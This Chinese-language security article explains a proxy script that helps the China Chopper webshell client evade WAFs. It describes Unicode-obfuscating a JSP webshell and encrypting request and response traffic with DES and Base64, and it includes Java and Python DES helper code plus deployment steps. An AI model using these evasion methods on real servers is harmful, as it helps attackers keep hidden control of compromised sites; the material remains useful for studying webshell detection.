菜刀HTTP流量中转代理过WAF
字数 1556 2025-08-29 08:32:30
菜刀HTTP流量中转代理过WAF技术详解
0x00 背景与概述
在渗透测试中,Webshell的免杀需要解决两个核心问题:
- 源脚本免杀 - 确保Webshell本身不被检测
- 流量混淆 - 对传输内容进行编码加密,绕过WAF和流量检测系统
传统菜刀工具(caidao.exe)存在以下局限性:
- 仅支持request包的自定义编码
- response返回包通常是明文状态
- 无法定义服务端response内容的编码方法
本文介绍的CaiDaoProxy.py是一个中间人HTTP流量代理脚本,可同时修改request和response内容,实现完整的流量混淆。
0x01 开发原因
选择基于caidao.exe(20160620版)开发CaiDaoProxy.py的原因:
- 该版本菜刀拥有配置文件(caidao.conf),可直接修改发往服务器的语句
- 中间人代理模式对流量的可操作性强,可任意修改收发内容
- 避免重复造轮子,在现有工具基础上增强功能
- 表面使用普通菜刀,实际使用过WAF代理,隐蔽性高
0x02 工作原理
CaiDaoProxy.py作为中间代理:
- 拦截caidao.exe发送的request,进行编码混淆
- 拦截服务器返回的response,进行编码混淆
- 实现双向流量加密,避免特征检测
流量路径:
caidao.exe -> (明文) -> CaiDaoProxy.py -> (加密) -> 目标服务器
目标服务器 -> (加密) -> CaiDaoProxy.py -> (解密) -> caidao.exe
0x03 源文件免杀技术
JSP Webshell免杀方法
使用Unicode编码绕过检测:
- Java编译器可编译Unicode编码的源代码
- 将关键代码转换为"\uxxxx"形式的Unicode编码
- 示例密码:LandGrey
实现原理:
- 服务器接收Unicode编码的JSP文件
- Tomcat将其编译为正常class文件
- 反编译后显示的是Unicode编码的源代码
0x04 传输内容加密方案
加密目标
- 客户端->服务端:混淆POST参数名和参数值
- 服务端->客户端:混淆返回的执行结果
通用加密思路(PHP/ASP/ASPX)
- 拦截请求时:
- 随机化参数名
- 组合多种简单编码(如base64_encode -> strrev -> base64_encode)
- 服务端执行:
- 修改caidao.conf或代理脚本统一编码方式
- 服务端解码后执行
- 返回结果时:
- 服务端对输出进行编码
- 代理解码后返回给菜刀
JSP专用加密方案(DES对称加密)
通信流程:
- CaiDaoProxy发送:
DES加密 -> Base64编码 -> 发送 - 服务端接收:
Base64解码 -> DES解密 -> 执行 - 服务端返回:
DES加密 -> Base64编码 -> 返回 - CaiDaoProxy接收:
Base64解码 -> DES解密 -> 显示
服务端关键代码(JSP)
import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.spec.DESKeySpec;
import javax.crypto.SecretKeyFactory;
import java.security.SecureRandom;
// 密钥
String DesKey = "LandGrey";
// DES加密函数
byte[] DesEncrpyt(String content) {
try {
SecureRandom random = new SecureRandom();
DESKeySpec desKey = new DESKeySpec(DesKey.getBytes());
SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("DES");
SecretKey securekey = keyFactory.generateSecret(desKey);
Cipher cipher = Cipher.getInstance("DES");
cipher.init(Cipher.ENCRYPT_MODE, securekey, random);
return cipher.doFinal(content.getBytes());
} catch (Throwable e) {
e.printStackTrace();
}
return null;
}
// DES解密函数
byte[] DesDecrpyt(byte[] content) {
try {
SecureRandom random = new SecureRandom();
DESKeySpec desKey = new DESKeySpec(DesKey.getBytes());
SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("DES");
SecretKey securekey = keyFactory.generateSecret(desKey);
Cipher cipher = Cipher.getInstance("DES");
cipher.init(Cipher.DECRYPT_MODE, securekey, random);
return cipher.doFinal(content);
} catch (Throwable e) {
e.printStackTrace();
}
return null;
}
CaiDaoProxy关键代码(Python)
import base64
from pyDes import des, ECB, PAD_PKCS5
# 密钥
DesKey = "LandGrey"
# DES加解密类
class DesCipher:
def __init__(self, secret_key):
self.secret_key = secret_key
def encrypt(self, s):
iv = self.secret_key
k = des(self.secret_key, ECB, iv, pad=None, padmode=PAD_PKCS5)
en = k.encrypt(bytes(s), padmode=PAD_PKCS5)
return en
def decrypt(self, s):
iv = self.secret_key
k = des(self.secret_key, ECB, iv, pad=None, padmode=PAD_PKCS5)
de = k.decrypt(s, padmode=PAD_PKCS5)
return de
0x05 部署与使用
- 配置CaiDaoProxy.py监听本地端口(如9000)
- 在caidao.exe地址栏填写:
http://127.0.0.1:9000/?=http://www.example.com/webshell.jsp - 实际请求地址由CaiDaoProxy剥离并处理
0x06 局限性
虽然该方案能绕过多数检测,但仍存在以下可能被检测的场景:
- 防护软件有进程监控功能
- 组件监控或RASP(运行时应用自我保护)功能
- 使用caidao.exe的虚拟终端功能时
0x07 总结
通过CaiDaoProxy.py可以实现:
- 源文件级别的免杀(Unicode编码)
- 双向流量加密(DES+Base64)
- 保留原有工具使用习惯,隐蔽性高
- 适用于PHP/ASP/JSP等多种Webshell
这种方案能够绕过大多数Webshell检测软件和监测平台的检测机制,是渗透测试中有效的绕过手段。